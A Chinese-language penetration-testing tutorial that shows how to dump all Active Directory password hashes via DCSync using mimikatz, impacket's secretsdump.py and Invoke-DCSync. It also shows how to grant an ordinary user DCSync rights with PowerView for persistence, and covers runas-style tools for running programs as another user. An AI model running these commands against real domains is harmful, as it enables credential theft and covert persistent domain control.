利用DCSync导出域内所有用户的hash

DCSync是mimikatz在2015年添加的一个模块,用来导出所有用户的hash。

利用条件:

  • administrators组内的用户
  • domain admin组内的用户
  • enterprise admin组内的用户
  • 域控制器的计算机用户

利用原理:利用DRS协议通过IDL_DRSGetNCChanges从域控制器复制用户凭证

通过mimikatz

导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:XXXX.com(域名) /user:administrotor
lsadump::dcsync /domain:XXXX.com(域名) /user:administrotor /csv

导出域内所有用户的信息(包括哈希)
lsadump::dcsync /domain:XXX.com(域名) /all
lsadump::dcsync /domain:XXX.com(域名) /all /csv

通过Secretsdump.py

项目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22

secretsdump.py是impacket框架中的一个脚本,该脚本也可以通过DCSync技术导出哈希,原理是使用提供的用户凭证通过smdexec或者wmiexec远程连接到域控制器并获得最高权限,进而从注册表中导出本地账户的哈希,同时从NTDS.dit文件中导出所有用户的哈希。

python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator				

python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
抓取所有用户的哈希,包括机器用户的

通过powershell

项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1。
可以通过invoke-ReflectivePEinjection调用mimikatz.all中的DCSync功能。

Import-Module .\Invoke-DCSync.ps1

# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

# 导出域内指定用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize

DCSync权限维持

所需权限

  • domain admin组内用户
  • enterprise admins组内用户

dcsync是几个权限的集合体,如果想要普通用户具有dcsync权限,可以给用户添加下面三条ACE:

DS-Replication-Get-Changes,对应GUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-All,对应GUID为:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-In-Filtered-Set,对应GUID为:89e95b76-444d-4c62-991a-0facbeda640c

工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

在域管用户win2012上给域成员添加这三条ACE

#添加ACE
powershell -exec bypass
import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7(域成员) -Rights DCSync -Verbose
 
#使用完后可以删除ACE
Remove-DomainObjectAcl -TargetIdentity “DC=test,DC=lab” -PrincipalIdentity yuwin7 -Rights DCSync -Verbose

未添加ACE前,是导不出所有哈希的,添加后即可导出。

PS:只能用于导出哈希,不能进行其他操作。

小知识

runas的使用

runas是用来指定用户进行指定操作的。

RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ] /user:<UserName> program

● /noprofile: 运行时不加载用户的配置文件,不应用用户的环境设置。
● /profile:默认选项,加载用户环境配置。
● /env:运行程序时,使用当前的用户的环境变量。也就是保持当前环境设置不变。
● savecred:保存凭证。
● /netonly:指定提供的凭证用于网络访问。
● /user:<username>:指定用户。
● program:指定运行的程序或命令的路径。

示例:runas /noprofile /user:test\user1 cmd

password打开指定用户的cmd

第一种

创建凭证对象
$cred = Get_Credential

输入指定的用户和密码。
启动程序:Start-Process powershell.exe -Credential$cred

第二种

在powershell中依次输入
$uname="test\test1"                   #这是定义用户
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force    #定义密码
$cred=New-Object  		      #创建凭证对象	System.Management.Automation.PSCredential($uname,$pwd) Start-Process -FilePath "cmd.exe" -Credential $cred                  #启动指定程序以指定用户

同类工具还有lsrunase、cpau

lseunase

这是第三方程序,需要下载。自带 LSencrypt 用来生成加密的字串。
用法:
lsrunase.exe /user:administrator /password:ABCDqfmI /domain: /command:"cmd.exe" /runpath:"C:\Windows\System32"

所有的参数必须齐全,其中:
user 为运行的账号
password 为密码加密后的字串
domain 为机器名或域名,也可留空代表本机
command 为要运行的程序名,如果携带参数需要在命令的首尾加引号
runpath 为程序启动的路径
特点:可以较完美的替代 runas,并避免直接将密码明文保存在脚本中。

cpau

cpau 也是一个替代 runas 的程序,并且功能强大,可以使用加密的密码。
用法:
cpau -u administrator -p password -ex cmd.exe -file start_cmd.txt -enc

cpau -file start_cmd.txt -dec

  • -u administrator:指定用户名(administrator)。
  • -p password:指定用户密码(password)。请注意:在实际使用中,密码不应该明文显示。
  • -ex cmd.exe:指定要执行的程序,这里是 cmd
  • -file start_cmd.txt:指定保存加密命令的文件。
  • -enc:表示加密文件。
  • -dec:表示解密文件。


以上命令可以先将要执行的指令加密保存为一个文件,执行时载入此文件。
特点:可以保护执行的脚本及命令不被他人查看,但在使用网络路径时存在一些问题。


世界是假的,但爱是真的。
——幻兽迷城


念念不忘,必有回响